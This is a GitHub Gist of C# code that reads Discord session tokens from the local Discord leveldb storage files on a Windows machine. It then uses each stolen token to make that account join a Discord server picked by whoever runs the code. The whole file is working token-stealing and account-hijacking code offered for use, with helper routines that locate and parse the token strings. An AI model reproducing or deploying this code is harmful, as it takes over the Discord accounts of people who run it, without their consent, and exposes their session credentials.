Created
November 6, 2019 17:53
-
-
Save Trollicus/530eeb1433be1cb3afa8f03de03bc38d to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public static void Join(string hi) | |
{ | |
WebClient webClient = new WebClient(); | |
hi = CO_GetFinalRedirect(hi); | |
hi = hi.Replace("discord.gg/", ""); | |
hi = hi.Replace("https://", ""); | |
hi = hi.Replace("http://", ""); | |
hi = hi.Replace("www.", ""); | |
hi = hi.Replace("discordapp.com/", ""); | |
hi = hi.Replace("invite/", ""); | |
foreach (string text in Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Discord\\Local Storage\\leveldb")) | |
{ | |
bool flag = text.EndsWith(".ldb") || text.EndsWith(".log"); | |
if (flag) | |
{ | |
try | |
{ | |
string value = CO_GetToken(text); | |
Uri requestUri = new Uri("https://discordapp.com/api/v6/invite/" + hi); | |
WebRequest webRequest = WebRequest.Create(requestUri); | |
HttpWebRequest httpWebRequest = (HttpWebRequest)webRequest; | |
httpWebRequest.PreAuthenticate = true; | |
httpWebRequest.Accept = "application/json"; | |
httpWebRequest.Method = "POST"; | |
httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.305 Chrome/69.0.3497.128 Electron/4.0.8 Safari/537.36"; | |
httpWebRequest.AutomaticDecompression = (DecompressionMethods.GZip | DecompressionMethods.Deflate); | |
httpWebRequest.ContentLength = 0L; | |
httpWebRequest.Headers.Add("authorization", value); | |
httpWebRequest.Referer = "https://discordapp.com/activity"; | |
WebResponse response = webRequest.GetResponse(); | |
Stream responseStream = response.GetResponseStream(); | |
bool flag2 = responseStream == null; | |
if (flag2) | |
{ | |
break; | |
} | |
StreamReader streamReader = new StreamReader(responseStream, Encoding.Default); | |
string text2 = streamReader.ReadToEnd(); | |
responseStream.Close(); | |
response.Close(); | |
} | |
catch | |
{ | |
} | |
} | |
} | |
} | |
private static string CO_GetToken(string path) | |
{ | |
string text = ""; | |
using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) | |
{ | |
using (StreamReader streamReader = new StreamReader(fileStream, Encoding.Default)) | |
{ | |
text = streamReader.ReadToEnd(); | |
streamReader.Dispose(); | |
fileStream.Dispose(); | |
streamReader.Close(); | |
fileStream.Close(); | |
} | |
} | |
string result = ""; | |
while (text.Contains("oken")) | |
{ | |
string[] array = CO_Sub(text).Split(new char[] | |
{ | |
'"' | |
}); | |
result = array[0]; | |
text = string.Join("\"", array); | |
} | |
return result; | |
} | |
private static bool CO_FindLog(ref string string_0) | |
{ | |
bool flag = Directory.Exists(string_0); | |
bool result; | |
if (flag) | |
{ | |
foreach (FileInfo fileInfo in new DirectoryInfo(string_0).GetFiles()) | |
{ | |
bool flag2 = fileInfo.Name.EndsWith(".log") && File.ReadAllText(fileInfo.FullName).Contains("oken"); | |
if (flag2) | |
{ | |
string_0 += fileInfo.Name; | |
return string_0.EndsWith(".log"); | |
} | |
} | |
result = string_0.EndsWith(".log"); | |
} | |
else | |
{ | |
result = false; | |
} | |
return result; | |
} | |
private static bool CO_FindLdb(ref string string_0) | |
{ | |
bool flag = Directory.Exists(string_0); | |
bool result; | |
if (flag) | |
{ | |
foreach (FileInfo fileInfo in new DirectoryInfo(string_0).GetFiles()) | |
{ | |
bool flag2 = fileInfo.Name.EndsWith(".ldb") && File.ReadAllText(fileInfo.FullName).Contains("oken"); | |
if (flag2) | |
{ | |
string_0 += fileInfo.Name; | |
return string_0.EndsWith(".ldb"); | |
} | |
} | |
result = string_0.EndsWith(".ldb"); | |
} | |
else | |
{ | |
result = false; | |
} | |
return result; | |
} | |
private static string CO_GetFinalRedirect(string string_0) | |
{ | |
bool flag = string.IsNullOrWhiteSpace(string_0); | |
string result; | |
if (flag) | |
{ | |
result = string_0; | |
} | |
else | |
{ | |
int num = 8; | |
string text = string_0; | |
do | |
{ | |
HttpWebResponse httpWebResponse = null; | |
try | |
{ | |
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(string_0); | |
httpWebRequest.Method = "HEAD"; | |
httpWebRequest.AllowAutoRedirect = false; | |
httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse(); | |
HttpStatusCode statusCode = httpWebResponse.StatusCode; | |
bool flag2 = statusCode == HttpStatusCode.OK; | |
if (flag2) | |
{ | |
return text; | |
} | |
bool flag3 = statusCode - HttpStatusCode.MovedPermanently > 2 && statusCode != HttpStatusCode.TemporaryRedirect; | |
if (flag3) | |
{ | |
return text; | |
} | |
text = httpWebResponse.Headers["Location"]; | |
bool flag4 = text == null; | |
if (flag4) | |
{ | |
return string_0; | |
} | |
bool flag5 = text.IndexOf("://", StringComparison.Ordinal) == -1; | |
if (flag5) | |
{ | |
Uri uri = new Uri(new Uri(string_0), text); | |
text = uri.ToString(); | |
} | |
string_0 = text; | |
} | |
catch (WebException) | |
{ | |
return text; | |
} | |
catch (Exception) | |
{ | |
return null; | |
} | |
finally | |
{ | |
bool flag6 = httpWebResponse != null; | |
if (flag6) | |
{ | |
httpWebResponse.Close(); | |
} | |
} | |
} | |
while (num-- > 0); | |
result = text; | |
} | |
return result; | |
} | |
private static string CO_Sub(string string_0) | |
{ | |
string[] array = string_0.Substring(string_0.IndexOf("oken") + 4).Split(new char[] | |
{ | |
'"' | |
}); | |
List<string> list = new List<string>(); | |
list.AddRange(array); | |
list.RemoveAt(0); | |
array = list.ToArray(); | |
return string.Join("\"", array); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment